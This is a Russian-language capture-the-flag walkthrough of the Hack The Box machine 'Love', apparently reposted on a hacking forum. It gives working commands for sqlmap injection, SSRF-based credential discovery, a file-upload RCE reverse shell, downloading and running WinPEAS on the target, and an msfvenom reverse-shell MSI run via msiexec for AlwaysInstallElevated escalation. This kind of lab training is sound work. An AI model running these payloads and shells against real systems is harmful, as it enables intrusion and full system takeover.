• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья HTB Love. Захватываем веб-сервер на Windows и Apache через SSRF

Eligos

CD-диск
Пользователь
Регистрация
11.03.2021
Сообщения
18
Реакции
61

Содержание статьи

  • Разведка. Сканирование портов
  • Точка входа
  • Точка опоры
  • Локальное повышение привилегий
В этой статье я покажу, как подделка серверных запросов (SSRF) может помочь при компрометации хоста. Также мы изучим метод повышения привилегий через опцию AlwaysInstallElevated. В этом нам поможет машина низкого уровня сложности под названием Love с площадки Hack The Box.

WARNING

Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ

Адрес машины — 10.10.10.239, добавляем его в /etc/hosts.

10.10.10.239 love.htb

И сканируем порты.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

02.png

Результат работы скрипта
Видим множество открытых портов и работающих на них служб:

  • порты 80, 5000 — веб‑сервер Apache 2.4.46;
  • порт 135 — служба удаленного вызова процедур (Microsoft RPC);
  • порт 139 — служба имен NetBIOS;
  • порт 443 — веб‑сервер Apache 2.4.46 + OpenSSL 1.1.1j;
  • порт 445 — служба SMB;
  • порт 3306 — СУБД MySQL;
  • порт 5040 — неизвестно;
  • порты 5985, 5986 — служба удаленного управления Windows (WinRM).
Первым делом проверяем, что нам может дать SMB (команда smbmap -H love.htb), но для анонима ничего не доступно. Поэтому переключаемся на веб. При сканировании порта 443 мы получили информацию из сертификата, откуда узнаем о еще одном сайте — staging.love.htb. Этот домен тоже добавляем в /etc/hosts.

10.10.10.239 staging.htb

Теперь внимательно изучим оба сайта в поисках точек для входа, имен пользователей и другой важной инфы. Сайт love.htb встречает нас формой авторизации, но нам становится известна используемая технология — Voting System.

03.png

Форма авторизации love.htb

ТОЧКА ВХОДА

Voting System — это несложная голосовалка, написанная на PHP. Наверняка для нее должны быть готовые эксплоиты. Запускаем searchsploit из Kali Linux и находим сразу несколько.

04.png

Поиск эксплоитов с помощью searchsploit
Нас интересуют четыре последних эксплоита:

  1. Первый эксплуатирует SQL-инъекцию для обхода авторизации.
  2. Второй даст удаленное выполнение кода через загрузку файлов, однако мы должны быть авторизованы в системе.
  3. Предпоследний эксплоит даст удаленное выполнение кода без авторизации.
  4. Последний — Time based SQL-инъекция, тоже без авторизации.
Сначала стоит попробовать эксплоиты, для которых не нужна авторизация. Наиболее опасный — RCE. Как сказано в описании, мы можем выполнить загрузку файла через /admin/candidates_add.php без авторизации и обратиться к файлу в директории images, вот только этот эксплоит не отработал.

05.png

Запрос для загрузки файла
06.png

Запрос к загруженному файлу
Вариант с обходом аутентификации тоже не работает, а вот вариант с Time Based SQL-инъекцией оказался рабочим. Сохраняем запрос при авторизации в файл (в моем случае req.r) и передаем его в sqlmap, как сказано в описании к эксплоиту.

07.png

Запрос при авторизации
sqlmap --dbms=mysql --batch --level=1 --risk=3 -r req.r -p voter

08.png

Вывод sqlmap
Далее потихоньку вытаскиваем таблицы с помощью того же sqlmap:

sqlmap --level=1 --risk=3 -r req.r --tables

Но поскольку это Time Based SQLi, это будет очень долго, так что во время работы sqlmap можем тестировать другой сайт. На http://staging.love.htb на странице Demo есть сервис анализа файлов.

09.png

Форма анализа файлов
Для проверки сервиса откроем листенер и укажем в форме свой IP. И сразу получим отстук.

10.png

Отстук на локальный сервер
В таких сервисах стоит проверять наличие уязвимости SSRF. SSRF — это атака на сервер, в результате которой злоумышленник получает возможность отправлять запросы от имени скомпрометированного хоста. SSRF может использоваться в DoS-кампаниях для маскировки реального источника атаки. Таким образом, уязвимый хост выступает в качестве прокси‑сервера. Для теста SSRF указываем адрес 127.0.0.1 и получаем знакомую форму авторизации.

11.png

Тестирование сервиса на наличие уязвимости SSRF
Есть SSRF! Но чем она нам может помочь? К примеру, мы можем просканировать порты, доступные для localhost, а также просматривать сервисы, работающие по HTTP. При сканировании портов мы получили ответ Forbidden от сервиса, за который отвечает порт 5000. Взглянем на него еще раз, используя наш «прокси».

12.png

Просмотр сервиса на порте 5000
Мы попали на какой‑то сервис, где можем подсмотреть пароль администратора, а затем авторизоваться на http://love.htb/admin/.

13.png

Панель администратора Voting System

ТОЧКА ОПОРЫ

Так как у нас появились учетные данные, осталось проверить последний эксплоит, который даст удаленное выполнение кода через загрузку файла. Но перед запуском взглянем на исходный код эксплоита.

14.png

Исходный код эксплоита
Эксплоит должен вызвать коннект на указанный адрес (локальный IP) и порт. Но сначала необходимо создать листенер, который будет принимать данное соединение. Я в таких случаях использую rlwrap — удобную оболочку с историей команд. В качестве листенера возьмем известный netcat.

apt install rlwrap

rlwrap nc -lvp [port]

Затем нужно указать адрес и порт листенера в строках 15 и 16 кода, адрес атакуемого хоста в строке 12, а также логин и пароль пользователя — в строках 13 и 14. Обрати внимание на URL в строках 19–22. В нашем случае на сайте отсутствует каталог votesystem, поэтому и в коде его нужно удалить. Ниже приведен измененный код эксплоита.

15.png

Измененный код эксплоита
И после выполнения получаем бэкконнект.

16.png

Выполнение эксплоита
17.png

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Источников информации очень много, и в таких случаях пригождаются скрипты PEASS, которые проверяют их все на автомате. Загрузим на локальный хост скрипт для Windows.

wget https://github.com/carlospolop/priv...inPEASexe/binaries/x64/Release/winPEASx64.exe -O wpeas.exe

Теперь нужно загрузить его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью python простой веб‑сервер. После выполнения данной команды веб‑сервер будет прослушивать порт 8000.

python3 -m http.server

А теперь с помощью того же powershell wget на целевой машине загрузим скрипт с локального хоста на удаленный. После загрузки необходимо выполнить скрипт.

powershell wget http://[ip_локального_хоста]:8000/wpeas.exe -O C:\Windows\Temp\wpeas.exe

C:\Windows\Temp\wpeas.exe

В выводе WinPEAS можно обратить внимание на настройку UAC, историю команд PowerShell, а главное — это установленная опция AlwaysInstallElevated.

18.png

UAC Status
19.png

PowerShell Settings
20.png

Checking AlwaysInstallElevated
Эта опция указывает, что любой файл MSI должен устанавливаться с повышенными привилегиями (NT AUTHORITY\SYSTEM). Соответственно, создав и загрузив такой файл, можно выполнять действия от имени системы даже непривилегированному пользователю.

Давай создадим файл MSI с реверс‑шеллом. В этом может помочь Metasploit Framework, а именно модуль msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f msi -o r.msi

21.png

Генерирование нагрузки
Теперь запустим универсальный листенер в Metasploit. За это отвечает модуль handler, которому требуется знать тип нагрузки, а также локальные адрес и порт, где нужно принимать соединение.

handler -p windows/x64/shell_reverse_tcp -H 10.10.14.38 -P 4321

22.png

Создание листенера
Загружаем файл .msi тем же способом, что и WinPEAS, а затем запускаем. Спустя несколько секунд получим новую сессию Metasploit.

powershell wget http://[ip_локального_хоста]:8000/r.msi -O C:\Windows\Temp\r.msi

msiexec /quiet /qn /i C:\Windows\Temp\r.msi

23.png

Флаг рута
Мы захватили машину и имеем над ней полный контроль.

Автор: RalfHacker
Взято с хакер.ru
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх